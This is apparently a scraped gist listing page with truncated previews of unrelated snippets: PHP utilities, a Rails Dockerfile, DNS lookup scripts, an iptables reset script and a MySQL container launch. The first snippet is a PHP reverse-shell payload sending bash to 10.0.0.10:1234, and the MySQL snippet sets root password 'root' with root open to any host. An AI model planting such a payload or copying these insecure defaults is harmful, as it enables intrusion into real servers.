This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env php | |
<?php | |
error_reporting(-1); | |
ini_set('displayErrors', 1); | |
echo PHP_EOL . PHP_EOL ."====================START========================="; | |
echo PHP_EOL . "RUN ON:\t\t\t\t" . date('d M Y G:i', time()) . PHP_EOL; | |
// Check the host |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
source hostlist.sh | |
hostname=`hostname` | |
private_range=$(printf ",%s" "${ips[@]}") | |
private_range=${private_range:1} | |
iptables -P INPUT ACCEPT | |
iptables -P OUTPUT ACCEPT | |
iptables -P FORWARD ACCEPT | |
iptables -F |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
# Author: Rudi Strydom | |
# Date: Aug 2013 | |
# Purpose: Building a quick and dirty table class. To transform an array to a table | |
class Table | |
{ | |
public $table_attributes = array(); | |
public $table_heading = array(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM ruby:2.3.1 | |
RUN apt-get update -qq && apt-get install -y build-essential libpq-dev nodejs | |
RUN apt-get install -y imagemagick | |
RUN mkdir /usr/local/rails-app | |
WORKDIR /usr/local/rails-app | |
ADD Gemfile Gemfile | |
ADD Gemfile.lock Gemfile.lock | |
RUN bundle install |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
domain=$1 | |
server=$2 | |
dig +nocmd +multiline +noall +answer "${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1 | |
dig +nocmd +multiline +noall +answer "${domain}" MX "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1 | |
dig +nocmd +multiline +noall +answer "www.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}'| sort -u -k1 | |
dig +nocmd +multiline +noall +answer "mail.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1 | |
dig +nocmd +multiline +noall +answer "mail._domainkey.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1 | |
dig +nocmd +multiline +noall +answer "_acme-challenge.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
domain=$1 | |
server=$2 | |
dig +nocmd +multiline +noall +answer "${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1 | |
dig +nocmd +multiline +noall +answer "${domain}" MX "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1 | |
dig +nocmd +multiline +noall +answer "www.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}'| sort -u -k1 | |
dig +nocmd +multiline +noall +answer "mail.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1 | |
dig +nocmd +multiline +noall +answer "mail._domainkey.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1 | |
dig +nocmd +multiline +noall +answer "_acme-challenge.${domain}" ANY "${server}" | awk '{print $1, $3, $4, $5}' | sort -u -k1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mkdir -p /data/mysql | |
echo "CREATING CONTAINER MySQL (Mariabd)" | |
docker run \ | |
-d \ | |
-e MYSQL_ROOT_PASSWORD=root \ | |
-e MYSQL_ROOT_HOST=% \ | |
-v /data/mysql:/var/lib/mysql \ | |
-p 3306:3306 \ | |
-i \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
HTTP status code symbols for Rails | |
Thanks to Cody Fauser for this list of HTTP responce codes and their Ruby on Rails symbol mappings. | |
Status Code Symbol | |
1xx Informational | |
100 :continue | |
101 :switching_protocols | |
102 :processing |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Remove any non-ASCII characters and convert known non-ASCII characters | |
* to their ASCII equivalents, if possible. | |
* | |
* @param string $string | |
* @return string $string | |
* @author Jay Williams <myd3.com> | |
* @license MIT License | |
* @link http://gist.github.com/119517 |
NewerOlder